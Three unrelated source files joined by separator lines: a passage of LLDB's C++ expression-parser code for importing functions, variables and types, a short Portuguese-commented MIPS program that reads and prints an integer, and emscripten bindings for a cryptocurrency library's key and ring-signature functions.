const bool include_symbols = false;
module_sp->FindFunctions(name, &namespace_decl, eFunctionNameTypeBase,
include_symbols, include_inlines, append,
sc_list);
} else if (target && !namespace_decl) {
const bool include_symbols = true;
// TODO Fix FindFunctions so that it doesn't return
// instance methods for eFunctionNameTypeBase.
target->GetImages().FindFunctions(name, eFunctionNameTypeFull,
include_symbols, include_inlines,
append, sc_list);
}
// If we found more than one function, see if we can use the frame's decl
// context to remove functions that are shadowed by other functions which
// match in type but are nearer in scope.
//
// AddOneFunction will not add a function whose type has already been
// added, so if there's another function in the list with a matching type,
// check to see if their decl context is a parent of the current frame's or
// was imported via a and using statement, and pick the best match
// according to lookup rules.
if (sc_list.GetSize() > 1) {
// Collect some info about our frame's context.
StackFrame *frame = m_parser_vars->m_exe_ctx.GetFramePtr();
SymbolContext frame_sym_ctx;
if (frame != nullptr)
frame_sym_ctx = frame->GetSymbolContext(lldb::eSymbolContextFunction |
lldb::eSymbolContextBlock);
CompilerDeclContext frame_decl_context =
frame_sym_ctx.block != nullptr ? frame_sym_ctx.block->GetDeclContext()
: CompilerDeclContext();
// We can't do this without a compiler decl context for our frame.
if (frame_decl_context) {
clang::DeclContext *frame_decl_ctx =
(clang::DeclContext *)frame_decl_context.GetOpaqueDeclContext();
ClangASTContext *ast = llvm::dyn_cast_or_null<ClangASTContext>(
frame_decl_context.GetTypeSystem());
// Structure to hold the info needed when comparing function
// declarations.
struct FuncDeclInfo {
ConstString m_name;
CompilerType m_copied_type;
uint32_t m_decl_lvl;
SymbolContext m_sym_ctx;
};
// First, symplify things by looping through the symbol contexts to
// remove unwanted functions and separate out the functions we want to
// compare and prune into a separate list. Cache the info needed about
// the function declarations in a vector for efficiency.
SymbolContextList sc_sym_list;
uint32_t num_indices = sc_list.GetSize();
std::vector<FuncDeclInfo> fdi_cache;
fdi_cache.reserve(num_indices);
for (uint32_t index = 0; index < num_indices; ++index) {
FuncDeclInfo fdi;
SymbolContext sym_ctx;
sc_list.GetContextAtIndex(index, sym_ctx);
// We don't know enough about symbols to compare them, but we should
// keep them in the list.
Function *function = sym_ctx.function;
if (!function) {
sc_sym_list.Append(sym_ctx);
continue;
}
// Filter out functions without declaration contexts, as well as
// class/instance methods, since they'll be skipped in the code that
// follows anyway.
CompilerDeclContext func_decl_context = function->GetDeclContext();
if (!func_decl_context ||
func_decl_context.IsClassMethod(nullptr, nullptr, nullptr))
continue;
// We can only prune functions for which we can copy the type.
CompilerType func_clang_type =
function->GetType()->GetFullCompilerType();
CompilerType copied_func_type = GuardedCopyType(func_clang_type);
if (!copied_func_type) {
sc_sym_list.Append(sym_ctx);
continue;
}
fdi.m_sym_ctx = sym_ctx;
fdi.m_name = function->GetName();
fdi.m_copied_type = copied_func_type;
fdi.m_decl_lvl = LLDB_INVALID_DECL_LEVEL;
if (fdi.m_copied_type && func_decl_context) {
// Call CountDeclLevels to get the number of parent scopes we have
// to look through before we find the function declaration. When
// comparing functions of the same type, the one with a lower count
// will be closer to us in the lookup scope and shadows the other.
clang::DeclContext *func_decl_ctx =
(clang::DeclContext *)func_decl_context.GetOpaqueDeclContext();
fdi.m_decl_lvl = ast->CountDeclLevels(
frame_decl_ctx, func_decl_ctx, &fdi.m_name, &fdi.m_copied_type);
}
fdi_cache.emplace_back(fdi);
}
// Loop through the functions in our cache looking for matching types,
// then compare their scope levels to see which is closer.
std::multimap<CompilerType, const FuncDeclInfo *> matches;
for (const FuncDeclInfo &fdi : fdi_cache) {
const CompilerType t = fdi.m_copied_type;
auto q = matches.find(t);
if (q != matches.end()) {
if (q->second->m_decl_lvl > fdi.m_decl_lvl)
// This function is closer; remove the old set.
matches.erase(t);
else if (q->second->m_decl_lvl < fdi.m_decl_lvl)
// The functions in our set are closer - skip this one.
continue;
}
matches.insert(std::make_pair(t, &fdi));
}
// Loop through our matches and add their symbol contexts to our list.
SymbolContextList sc_func_list;
for (const auto &q : matches)
sc_func_list.Append(q.second->m_sym_ctx);
// Rejoin the lists with the functions in front.
sc_list = sc_func_list;
sc_list.Append(sc_sym_list);
}
}
if (sc_list.GetSize()) {
Symbol *extern_symbol = NULL;
Symbol *non_extern_symbol = NULL;
for (uint32_t index = 0, num_indices = sc_list.GetSize();
index < num_indices; ++index) {
SymbolContext sym_ctx;
sc_list.GetContextAtIndex(index, sym_ctx);
if (sym_ctx.function) {
CompilerDeclContext decl_ctx = sym_ctx.function->GetDeclContext();
if (!decl_ctx)
continue;
// Filter out class/instance methods.
if (decl_ctx.IsClassMethod(nullptr, nullptr, nullptr))
continue;
AddOneFunction(context, sym_ctx.function, NULL, current_id);
context.m_found.function_with_type_info = true;
context.m_found.function = true;
} else if (sym_ctx.symbol) {
if (sym_ctx.symbol->GetType() == eSymbolTypeReExported && target) {
sym_ctx.symbol = sym_ctx.symbol->ResolveReExportedSymbol(*target);
if (sym_ctx.symbol == NULL)
continue;
}
if (sym_ctx.symbol->IsExternal())
extern_symbol = sym_ctx.symbol;
else
non_extern_symbol = sym_ctx.symbol;
}
}
if (!context.m_found.function_with_type_info) {
for (clang::NamedDecl *decl : decls_from_modules) {
if (llvm::isa<clang::FunctionDecl>(decl)) {
clang::NamedDecl *copied_decl =
llvm::cast_or_null<FunctionDecl>(CopyDecl(decl));
if (copied_decl) {
context.AddNamedDecl(copied_decl);
context.m_found.function_with_type_info = true;
}
}
}
}
if (!context.m_found.function_with_type_info) {
if (extern_symbol) {
AddOneFunction(context, NULL, extern_symbol, current_id);
context.m_found.function = true;
} else if (non_extern_symbol) {
AddOneFunction(context, NULL, non_extern_symbol, current_id);
context.m_found.function = true;
}
}
}
if (!context.m_found.function_with_type_info) {
// Try the modules next.
do {
if (ClangModulesDeclVendor *modules_decl_vendor =
m_target->GetClangModulesDeclVendor()) {
bool append = false;
uint32_t max_matches = 1;
std::vector<clang::NamedDecl *> decls;
if (!modules_decl_vendor->FindDecls(name, append, max_matches, decls))
break;
clang::NamedDecl *const decl_from_modules = decls[0];
if (llvm::isa<clang::FunctionDecl>(decl_from_modules)) {
if (log) {
log->Printf(" CAS::FEVD[%u] Matching function found for "
"\"%s\" in the modules",
current_id, name.GetCString());
}
clang::Decl *copied_decl = CopyDecl(decl_from_modules);
clang::FunctionDecl *copied_function_decl =
copied_decl ? dyn_cast<clang::FunctionDecl>(copied_decl)
: nullptr;
if (!copied_function_decl) {
if (log)
log->Printf(" CAS::FEVD[%u] - Couldn't export a function "
"declaration from the modules",
current_id);
break;
}
MaybeRegisterFunctionBody(copied_function_decl);
context.AddNamedDecl(copied_function_decl);
context.m_found.function_with_type_info = true;
context.m_found.function = true;
} else if (llvm::isa<clang::VarDecl>(decl_from_modules)) {
if (log) {
log->Printf(" CAS::FEVD[%u] Matching variable found for "
"\"%s\" in the modules",
current_id, name.GetCString());
}
clang::Decl *copied_decl = CopyDecl(decl_from_modules);
clang::VarDecl *copied_var_decl =
copied_decl ? dyn_cast_or_null<clang::VarDecl>(copied_decl)
: nullptr;
if (!copied_var_decl) {
if (log)
log->Printf(" CAS::FEVD[%u] - Couldn't export a variable "
"declaration from the modules",
current_id);
break;
}
context.AddNamedDecl(copied_var_decl);
context.m_found.variable = true;
}
}
} while (0);
}
if (target && !context.m_found.variable && !namespace_decl) {
// We couldn't find a non-symbol variable for this. Now we'll hunt for a
// generic data symbol, and -- if it is found -- treat it as a variable.
Status error;
const Symbol *data_symbol =
m_parser_vars->m_sym_ctx.FindBestGlobalDataSymbol(name, error);
if (!error.Success()) {
const unsigned diag_id =
m_ast_context->getDiagnostics().getCustomDiagID(
clang::DiagnosticsEngine::Level::Error, "%0");
m_ast_context->getDiagnostics().Report(diag_id) << error.AsCString();
}
if (data_symbol) {
std::string warning("got name from symbols: ");
warning.append(name.AsCString());
const unsigned diag_id =
m_ast_context->getDiagnostics().getCustomDiagID(
clang::DiagnosticsEngine::Level::Warning, "%0");
m_ast_context->getDiagnostics().Report(diag_id) << warning.c_str();
AddOneGenericVariable(context, *data_symbol, current_id);
context.m_found.variable = true;
}
}
}
}
bool ClangExpressionDeclMap::GetVariableValue(VariableSP &var,
lldb_private::Value &var_location,
TypeFromUser *user_type,
TypeFromParser *parser_type) {
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
Type *var_type = var->GetType();
if (!var_type) {
if (log)
log->PutCString("Skipped a definition because it has no type");
return false;
}
CompilerType var_clang_type = var_type->GetFullCompilerType();
if (!var_clang_type) {
if (log)
log->PutCString("Skipped a definition because it has no Clang type");
return false;
}
ClangASTContext *clang_ast = llvm::dyn_cast_or_null<ClangASTContext>(
var_type->GetForwardCompilerType().GetTypeSystem());
if (!clang_ast) {
if (log)
log->PutCString("Skipped a definition because it has no Clang AST");
return false;
}
ASTContext *ast = clang_ast->getASTContext();
if (!ast) {
if (log)
log->PutCString(
"There is no AST context for the current execution context");
return false;
}
DWARFExpression &var_location_expr = var->LocationExpression();
Target *target = m_parser_vars->m_exe_ctx.GetTargetPtr();
Status err;
if (var->GetLocationIsConstantValueData()) {
DataExtractor const_value_extractor;
if (var_location_expr.GetExpressionData(const_value_extractor)) {
var_location = Value(const_value_extractor.GetDataStart(),
const_value_extractor.GetByteSize());
var_location.SetValueType(Value::eValueTypeHostAddress);
} else {
if (log)
log->Printf("Error evaluating constant variable: %s", err.AsCString());
return false;
}
}
CompilerType type_to_use = GuardedCopyType(var_clang_type);
if (!type_to_use) {
if (log)
log->Printf(
"Couldn't copy a variable's type into the parser's AST context");
return false;
}
if (parser_type)
*parser_type = TypeFromParser(type_to_use);
if (var_location.GetContextType() == Value::eContextTypeInvalid)
var_location.SetCompilerType(type_to_use);
if (var_location.GetValueType() == Value::eValueTypeFileAddress) {
SymbolContext var_sc;
var->CalculateSymbolContext(&var_sc);
if (!var_sc.module_sp)
return false;
Address so_addr(var_location.GetScalar().ULongLong(),
var_sc.module_sp->GetSectionList());
lldb::addr_t load_addr = so_addr.GetLoadAddress(target);
if (load_addr != LLDB_INVALID_ADDRESS) {
var_location.GetScalar() = load_addr;
var_location.SetValueType(Value::eValueTypeLoadAddress);
}
}
if (user_type)
*user_type = TypeFromUser(var_clang_type);
return true;
}
void ClangExpressionDeclMap::AddOneVariable(NameSearchContext &context,
VariableSP var,
ValueObjectSP valobj,
unsigned int current_id) {
assert(m_parser_vars.get());
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
TypeFromUser ut;
TypeFromParser pt;
Value var_location;
if (!GetVariableValue(var, var_location, &ut, &pt))
return;
clang::QualType parser_opaque_type =
QualType::getFromOpaquePtr(pt.GetOpaqueQualType());
if (parser_opaque_type.isNull())
return;
if (const clang::Type *parser_type = parser_opaque_type.getTypePtr()) {
if (const TagType *tag_type = dyn_cast<TagType>(parser_type))
CompleteType(tag_type->getDecl());
if (const ObjCObjectPointerType *objc_object_ptr_type =
dyn_cast<ObjCObjectPointerType>(parser_type))
CompleteType(objc_object_ptr_type->getInterfaceDecl());
}
bool is_reference = pt.IsReferenceType();
NamedDecl *var_decl = NULL;
if (is_reference)
var_decl = context.AddVarDecl(pt);
else
var_decl = context.AddVarDecl(pt.GetLValueReferenceType());
std::string decl_name(context.m_decl_name.getAsString());
ConstString entity_name(decl_name.c_str());
ClangExpressionVariable *entity(new ClangExpressionVariable(valobj));
m_found_entities.AddNewlyConstructedVariable(entity);
assert(entity);
entity->EnableParserVars(GetParserID());
ClangExpressionVariable::ParserVars *parser_vars =
entity->GetParserVars(GetParserID());
parser_vars->m_parser_type = pt;
parser_vars->m_named_decl = var_decl;
parser_vars->m_llvm_value = NULL;
parser_vars->m_lldb_value = var_location;
parser_vars->m_lldb_var = var;
if (is_reference)
entity->m_flags |= ClangExpressionVariable::EVTypeIsReference;
if (log) {
ASTDumper orig_dumper(ut.GetOpaqueQualType());
ASTDumper ast_dumper(var_decl);
log->Printf(" CEDM::FEVD[%u] Found variable %s, returned %s (original %s)",
current_id, decl_name.c_str(), ast_dumper.GetCString(),
orig_dumper.GetCString());
}
}
void ClangExpressionDeclMap::AddOneVariable(NameSearchContext &context,
ExpressionVariableSP &pvar_sp,
unsigned int current_id) {
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
TypeFromUser user_type(
llvm::cast<ClangExpressionVariable>(pvar_sp.get())->GetTypeFromUser());
TypeFromParser parser_type(GuardedCopyType(user_type));
if (!parser_type.GetOpaqueQualType()) {
if (log)
log->Printf(" CEDM::FEVD[%u] Couldn't import type for pvar %s",
current_id, pvar_sp->GetName().GetCString());
return;
}
NamedDecl *var_decl =
context.AddVarDecl(parser_type.GetLValueReferenceType());
llvm::cast<ClangExpressionVariable>(pvar_sp.get())
->EnableParserVars(GetParserID());
ClangExpressionVariable::ParserVars *parser_vars =
llvm::cast<ClangExpressionVariable>(pvar_sp.get())
->GetParserVars(GetParserID());
parser_vars->m_parser_type = parser_type;
parser_vars->m_named_decl = var_decl;
parser_vars->m_llvm_value = NULL;
parser_vars->m_lldb_value.Clear();
if (log) {
ASTDumper ast_dumper(var_decl);
log->Printf(" CEDM::FEVD[%u] Added pvar %s, returned %s", current_id,
pvar_sp->GetName().GetCString(), ast_dumper.GetCString());
}
}
void ClangExpressionDeclMap::AddOneGenericVariable(NameSearchContext &context,
const Symbol &symbol,
unsigned int current_id) {
assert(m_parser_vars.get());
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
Target *target = m_parser_vars->m_exe_ctx.GetTargetPtr();
if (target == NULL)
return;
ASTContext *scratch_ast_context =
target->GetScratchClangASTContext()->getASTContext();
TypeFromUser user_type(
ClangASTContext::GetBasicType(scratch_ast_context, eBasicTypeVoid)
.GetPointerType()
.GetLValueReferenceType());
TypeFromParser parser_type(
ClangASTContext::GetBasicType(m_ast_context, eBasicTypeVoid)
.GetPointerType()
.GetLValueReferenceType());
NamedDecl *var_decl = context.AddVarDecl(parser_type);
std::string decl_name(context.m_decl_name.getAsString());
ConstString entity_name(decl_name.c_str());
ClangExpressionVariable *entity(new ClangExpressionVariable(
m_parser_vars->m_exe_ctx.GetBestExecutionContextScope(), entity_name,
user_type, m_parser_vars->m_target_info.byte_order,
m_parser_vars->m_target_info.address_byte_size));
m_found_entities.AddNewlyConstructedVariable(entity);
entity->EnableParserVars(GetParserID());
ClangExpressionVariable::ParserVars *parser_vars =
entity->GetParserVars(GetParserID());
const Address symbol_address = symbol.GetAddress();
lldb::addr_t symbol_load_addr = symbol_address.GetLoadAddress(target);
// parser_vars->m_lldb_value.SetContext(Value::eContextTypeClangType,
// user_type.GetOpaqueQualType());
parser_vars->m_lldb_value.SetCompilerType(user_type);
parser_vars->m_lldb_value.GetScalar() = symbol_load_addr;
parser_vars->m_lldb_value.SetValueType(Value::eValueTypeLoadAddress);
parser_vars->m_parser_type = parser_type;
parser_vars->m_named_decl = var_decl;
parser_vars->m_llvm_value = NULL;
parser_vars->m_lldb_sym = &symbol;
if (log) {
ASTDumper ast_dumper(var_decl);
log->Printf(" CEDM::FEVD[%u] Found variable %s, returned %s", current_id,
decl_name.c_str(), ast_dumper.GetCString());
}
}
bool ClangExpressionDeclMap::ResolveUnknownTypes() {
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
Target *target = m_parser_vars->m_exe_ctx.GetTargetPtr();
ClangASTContextForExpressions *scratch_ast_context =
static_cast<ClangASTContextForExpressions*>(
target->GetScratchClangASTContext());
for (size_t index = 0, num_entities = m_found_entities.GetSize();
index < num_entities; ++index) {
ExpressionVariableSP entity = m_found_entities.GetVariableAtIndex(index);
ClangExpressionVariable::ParserVars *parser_vars =
llvm::cast<ClangExpressionVariable>(entity.get())
->GetParserVars(GetParserID());
if (entity->m_flags & ClangExpressionVariable::EVUnknownType) {
const NamedDecl *named_decl = parser_vars->m_named_decl;
const VarDecl *var_decl = dyn_cast<VarDecl>(named_decl);
if (!var_decl) {
if (log)
log->Printf("Entity of unknown type does not have a VarDecl");
return false;
}
if (log) {
ASTDumper ast_dumper(const_cast<VarDecl *>(var_decl));
log->Printf("Variable of unknown type now has Decl %s",
ast_dumper.GetCString());
}
QualType var_type = var_decl->getType();
TypeFromParser parser_type(
var_type.getAsOpaquePtr(),
ClangASTContext::GetASTContext(&var_decl->getASTContext()));
lldb::opaque_compiler_type_t copied_type = 0;
if (m_ast_importer_sp) {
copied_type = m_ast_importer_sp->CopyType(
scratch_ast_context->getASTContext(), &var_decl->getASTContext(),
var_type.getAsOpaquePtr());
} else if (HasMerger()) {
copied_type = CopyTypeWithMerger(
var_decl->getASTContext(),
scratch_ast_context->GetMergerUnchecked(),
var_type).getAsOpaquePtr();
} else {
lldbassert(0 && "No mechanism to copy a resolved unknown type!");
return false;
}
if (!copied_type) {
if (log)
log->Printf("ClangExpressionDeclMap::ResolveUnknownType - Couldn't "
"import the type for a variable");
return (bool)lldb::ExpressionVariableSP();
}
TypeFromUser user_type(copied_type, scratch_ast_context);
// parser_vars->m_lldb_value.SetContext(Value::eContextTypeClangType,
// user_type.GetOpaqueQualType());
parser_vars->m_lldb_value.SetCompilerType(user_type);
parser_vars->m_parser_type = parser_type;
entity->SetCompilerType(user_type);
entity->m_flags &= ~(ClangExpressionVariable::EVUnknownType);
}
}
return true;
}
void ClangExpressionDeclMap::AddOneRegister(NameSearchContext &context,
const RegisterInfo *reg_info,
unsigned int current_id) {
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
CompilerType clang_type =
ClangASTContext::GetBuiltinTypeForEncodingAndBitSize(
m_ast_context, reg_info->encoding, reg_info->byte_size * 8);
if (!clang_type) {
if (log)
log->Printf(" Tried to add a type for %s, but couldn't get one",
context.m_decl_name.getAsString().c_str());
return;
}
TypeFromParser parser_clang_type(clang_type);
NamedDecl *var_decl = context.AddVarDecl(parser_clang_type);
ClangExpressionVariable *entity(new ClangExpressionVariable(
m_parser_vars->m_exe_ctx.GetBestExecutionContextScope(),
m_parser_vars->m_target_info.byte_order,
m_parser_vars->m_target_info.address_byte_size));
m_found_entities.AddNewlyConstructedVariable(entity);
std::string decl_name(context.m_decl_name.getAsString());
entity->SetName(ConstString(decl_name.c_str()));
entity->SetRegisterInfo(reg_info);
entity->EnableParserVars(GetParserID());
ClangExpressionVariable::ParserVars *parser_vars =
entity->GetParserVars(GetParserID());
parser_vars->m_parser_type = parser_clang_type;
parser_vars->m_named_decl = var_decl;
parser_vars->m_llvm_value = NULL;
parser_vars->m_lldb_value.Clear();
entity->m_flags |= ClangExpressionVariable::EVBareRegister;
if (log) {
ASTDumper ast_dumper(var_decl);
log->Printf(" CEDM::FEVD[%d] Added register %s, returned %s", current_id,
context.m_decl_name.getAsString().c_str(),
ast_dumper.GetCString());
}
}
void ClangExpressionDeclMap::AddOneFunction(NameSearchContext &context,
Function *function, Symbol *symbol,
unsigned int current_id) {
assert(m_parser_vars.get());
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
NamedDecl *function_decl = NULL;
Address fun_address;
CompilerType function_clang_type;
bool is_indirect_function = false;
if (function) {
Type *function_type = function->GetType();
const auto lang = function->GetCompileUnit()->GetLanguage();
const auto name = function->GetMangled().GetMangledName().AsCString();
const bool extern_c = (Language::LanguageIsC(lang) &&
!CPlusPlusLanguage::IsCPPMangledName(name)) ||
(Language::LanguageIsObjC(lang) &&
!Language::LanguageIsCPlusPlus(lang));
if (!extern_c) {
TypeSystem *type_system = function->GetDeclContext().GetTypeSystem();
if (llvm::isa<ClangASTContext>(type_system)) {
clang::DeclContext *src_decl_context =
(clang::DeclContext *)function->GetDeclContext()
.GetOpaqueDeclContext();
clang::FunctionDecl *src_function_decl =
llvm::dyn_cast_or_null<clang::FunctionDecl>(src_decl_context);
if (src_function_decl &&
src_function_decl->getTemplateSpecializationInfo()) {
clang::FunctionTemplateDecl *function_template =
src_function_decl->getTemplateSpecializationInfo()->getTemplate();
clang::FunctionTemplateDecl *copied_function_template =
llvm::dyn_cast_or_null<clang::FunctionTemplateDecl>(
CopyDecl(function_template));
if (copied_function_template) {
if (log) {
ASTDumper ast_dumper((clang::Decl *)copied_function_template);
StreamString ss;
function->DumpSymbolContext(&ss);
log->Printf(" CEDM::FEVD[%u] Imported decl for function template"
" %s (description %s), returned %s",
current_id,
copied_function_template->getNameAsString().c_str(),
ss.GetData(), ast_dumper.GetCString());
}
context.AddNamedDecl(copied_function_template);
}
} else if (src_function_decl) {
if (clang::FunctionDecl *copied_function_decl =
llvm::dyn_cast_or_null<clang::FunctionDecl>(
CopyDecl(src_function_decl))) {
if (log) {
ASTDumper ast_dumper((clang::Decl *)copied_function_decl);
StreamString ss;
function->DumpSymbolContext(&ss);
log->Printf(" CEDM::FEVD[%u] Imported decl for function %s "
"(description %s), returned %s",
current_id,
copied_function_decl->getNameAsString().c_str(),
ss.GetData(), ast_dumper.GetCString());
}
context.AddNamedDecl(copied_function_decl);
return;
} else {
if (log) {
log->Printf(" Failed to import the function decl for '%s'",
src_function_decl->getName().str().c_str());
}
}
}
}
}
if (!function_type) {
if (log)
log->PutCString(" Skipped a function because it has no type");
return;
}
function_clang_type = function_type->GetFullCompilerType();
if (!function_clang_type) {
if (log)
log->PutCString(" Skipped a function because it has no Clang type");
return;
}
fun_address = function->GetAddressRange().GetBaseAddress();
CompilerType copied_function_type = GuardedCopyType(function_clang_type);
if (copied_function_type) {
function_decl = context.AddFunDecl(copied_function_type, extern_c);
if (!function_decl) {
if (log) {
log->Printf(
" Failed to create a function decl for '%s' {0x%8.8" PRIx64 "}",
function_type->GetName().GetCString(), function_type->GetID());
}
return;
}
} else {
// We failed to copy the type we found
if (log) {
log->Printf(" Failed to import the function type '%s' {0x%8.8" PRIx64
"} into the expression parser AST contenxt",
function_type->GetName().GetCString(),
function_type->GetID());
}
return;
}
} else if (symbol) {
fun_address = symbol->GetAddress();
function_decl = context.AddGenericFunDecl();
is_indirect_function = symbol->IsIndirect();
} else {
if (log)
log->PutCString(" AddOneFunction called with no function and no symbol");
return;
}
Target *target = m_parser_vars->m_exe_ctx.GetTargetPtr();
lldb::addr_t load_addr =
fun_address.GetCallableLoadAddress(target, is_indirect_function);
ClangExpressionVariable *entity(new ClangExpressionVariable(
m_parser_vars->m_exe_ctx.GetBestExecutionContextScope(),
m_parser_vars->m_target_info.byte_order,
m_parser_vars->m_target_info.address_byte_size));
m_found_entities.AddNewlyConstructedVariable(entity);
std::string decl_name(context.m_decl_name.getAsString());
entity->SetName(ConstString(decl_name.c_str()));
entity->SetCompilerType(function_clang_type);
entity->EnableParserVars(GetParserID());
ClangExpressionVariable::ParserVars *parser_vars =
entity->GetParserVars(GetParserID());
if (load_addr != LLDB_INVALID_ADDRESS) {
parser_vars->m_lldb_value.SetValueType(Value::eValueTypeLoadAddress);
parser_vars->m_lldb_value.GetScalar() = load_addr;
} else {
// We have to try finding a file address.
lldb::addr_t file_addr = fun_address.GetFileAddress();
parser_vars->m_lldb_value.SetValueType(Value::eValueTypeFileAddress);
parser_vars->m_lldb_value.GetScalar() = file_addr;
}
parser_vars->m_named_decl = function_decl;
parser_vars->m_llvm_value = NULL;
if (log) {
std::string function_str =
function_decl ? ASTDumper(function_decl).GetCString() : "nullptr";
StreamString ss;
fun_address.Dump(&ss,
m_parser_vars->m_exe_ctx.GetBestExecutionContextScope(),
Address::DumpStyleResolvedDescription);
log->Printf(
" CEDM::FEVD[%u] Found %s function %s (description %s), returned %s",
current_id, (function ? "specific" : "generic"), decl_name.c_str(),
ss.GetData(), function_str.c_str());
}
}
void ClangExpressionDeclMap::AddThisType(NameSearchContext &context,
TypeFromUser &ut,
unsigned int current_id) {
CompilerType copied_clang_type = GuardedCopyType(ut);
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
if (!copied_clang_type) {
if (log)
log->Printf(
"ClangExpressionDeclMap::AddThisType - Couldn't import the type");
return;
}
if (copied_clang_type.IsAggregateType() &&
copied_clang_type.GetCompleteType()) {
CompilerType void_clang_type =
ClangASTContext::GetBasicType(m_ast_context, eBasicTypeVoid);
CompilerType void_ptr_clang_type = void_clang_type.GetPointerType();
CompilerType method_type = ClangASTContext::CreateFunctionType(
m_ast_context, void_clang_type, &void_ptr_clang_type, 1, false, 0);
const bool is_virtual = false;
const bool is_static = false;
const bool is_inline = false;
const bool is_explicit = false;
const bool is_attr_used = true;
const bool is_artificial = false;
CXXMethodDecl *method_decl =
ClangASTContext::GetASTContext(m_ast_context)
->AddMethodToCXXRecordType(
copied_clang_type.GetOpaqueQualType(), "$__lldb_expr", NULL,
method_type, lldb::eAccessPublic, is_virtual, is_static,
is_inline, is_explicit, is_attr_used, is_artificial);
if (log) {
ASTDumper method_ast_dumper((clang::Decl *)method_decl);
ASTDumper type_ast_dumper(copied_clang_type);
log->Printf(" CEDM::AddThisType Added function $__lldb_expr "
"(description %s) for this type %s",
method_ast_dumper.GetCString(), type_ast_dumper.GetCString());
}
}
if (!copied_clang_type.IsValid())
return;
TypeSourceInfo *type_source_info = m_ast_context->getTrivialTypeSourceInfo(
QualType::getFromOpaquePtr(copied_clang_type.GetOpaqueQualType()));
if (!type_source_info)
return;
// Construct a typedef type because if "*this" is a templated type we can't
// just return ClassTemplateSpecializationDecls in response to name queries.
// Using a typedef makes this much more robust.
TypedefDecl *typedef_decl = TypedefDecl::Create(
*m_ast_context, m_ast_context->getTranslationUnitDecl(), SourceLocation(),
SourceLocation(), context.m_decl_name.getAsIdentifierInfo(),
type_source_info);
if (!typedef_decl)
return;
context.AddNamedDecl(typedef_decl);
return;
}
void ClangExpressionDeclMap::AddOneType(NameSearchContext &context,
TypeFromUser &ut,
unsigned int current_id) {
CompilerType copied_clang_type = GuardedCopyType(ut);
if (!copied_clang_type) {
Log *log(lldb_private::GetLogIfAllCategoriesSet(LIBLLDB_LOG_EXPRESSIONS));
if (log)
log->Printf(
"ClangExpressionDeclMap::AddOneType - Couldn't import the type");
return;
}
context.AddTypeDecl(copied_clang_type);
}
|
# Seção de dados
.data
prompt: .asciiz "Digite n: " # String com \0 no final
output: .asciiz "Você digitou: "
#Seção de texto
.text
# Imprime prompt
la $a0, prompt # coloca em a0 o parâmetro da chamada a syscall
li $v0, 4 # 4 é o código para imprimir uma string
syscall
# Le inteiro em $v0
li $v0, 5 # 5 é o código para ler um inteiro
syscall
move $s0, $v0
# Imprime saida
la $a0, output # coloca em a0 o parâmetro da chamada a syscall
li $v0, 4 # 4 é o código para imprimir uma string
syscall
# imprime inteiro lido
move $a0, $s0
li $v0, 1 # 1 é o código para imprimir um inteiro
syscall
# Imprime \n
li $a0,'\n'
li $v0, 11 # 11 é o código para imprimir um caractere
syscall
#Finaliza execução
li $v0, 10 # exit syscall code = 10
syscall
|
// Copyright (c) 2018-2019, The TurtleCoin Developers
// Copyright (c) 2019-2020, The 2ACoin Team
//
// Please see the included LICENSE file for more information.
#include <emscripten/bind.h>
#include <stdio.h>
#include <stdlib.h>
#include <cuddlecoin-crypto.h>
using namespace emscripten;
struct Keys
{
std::string publicKey;
std::string secretKey;
};
struct PreparedSignatures
{
std::vector<std::string> signatures;
std::string key;
};
/* Most of the redefintions below are the result of the methods returning a bool instead
of the value we need or issues with method signatures having a uint64_t */
std::string cn_soft_shell_slow_hash_v0(const std::string data, const int height)
{
return Core::Cryptography::cn_soft_shell_slow_hash_v0(data, height);
}
std::string cn_soft_shell_slow_hash_v1(const std::string data, const int height)
{
return Core::Cryptography::cn_soft_shell_slow_hash_v1(data, height);
}
std::string cn_soft_shell_slow_hash_v2(const std::string data, const int height)
{
return Core::Cryptography::cn_soft_shell_slow_hash_v2(data, height);
}
std::vector<std::string> generateRingSignatures(
const std::string prefixHash,
const std::string keyImage,
const std::vector<std::string> publicKeys,
const std::string transactionSecretKey,
const int realOutputIndex)
{
std::vector<std::string> signatures;
bool success = Core::Cryptography::generateRingSignatures(
prefixHash, keyImage, publicKeys, transactionSecretKey, realOutputIndex, signatures);
return signatures;
}
PreparedSignatures prepareRingSignatures(
const std::string prefixHash,
const std::string keyImage,
const std::vector<std::string> publicKeys,
const int realOutputIndex)
{
std::vector<std::string> signatures;
std::string k;
bool success =
Core::Cryptography::prepareRingSignatures(prefixHash, keyImage, publicKeys, realOutputIndex, signatures, k);
PreparedSignatures result;
result.signatures = signatures;
result.key = k;
return result;
}
PreparedSignatures prepareRingSignaturesK(
const std::string prefixHash,
const std::string keyImage,
const std::vector<std::string> publicKeys,
const int realOutputIndex,
const std::string k)
{
std::vector<std::string> signatures;
bool success =
Core::Cryptography::prepareRingSignatures(prefixHash, keyImage, publicKeys, realOutputIndex, k, signatures);
PreparedSignatures result;
result.signatures = signatures;
result.key = k;
return result;
}
Keys generateViewKeysFromPrivateSpendKey(const std::string secretKey)
{
std::string viewSecretKey;
std::string viewPublicKey;
Core::Cryptography::generateViewKeysFromPrivateSpendKey(secretKey, viewSecretKey, viewPublicKey);
Keys keys;
keys.publicKey = viewPublicKey;
keys.secretKey = viewSecretKey;
return keys;
}
Keys generateKeys()
{
std::string secretKey;
std::string publicKey;
Core::Cryptography::generateKeys(secretKey, publicKey);
Keys keys;
keys.publicKey = publicKey;
keys.secretKey = secretKey;
return keys;
}
Keys generateDeterministicSubwalletKeys(const std::string basePrivateKey, const size_t walletIndex)
{
std::string newPrivateKey;
std::string newPublicKey;
Keys keys;
Core::Cryptography::generateDeterministicSubwalletKeys(basePrivateKey, walletIndex, keys.secretKey, keys.publicKey);
return keys;
}
std::string secretKeyToPublicKey(const std::string secretKey)
{
std::string publicKey;
bool success = Core::Cryptography::secretKeyToPublicKey(secretKey, publicKey);
return publicKey;
}
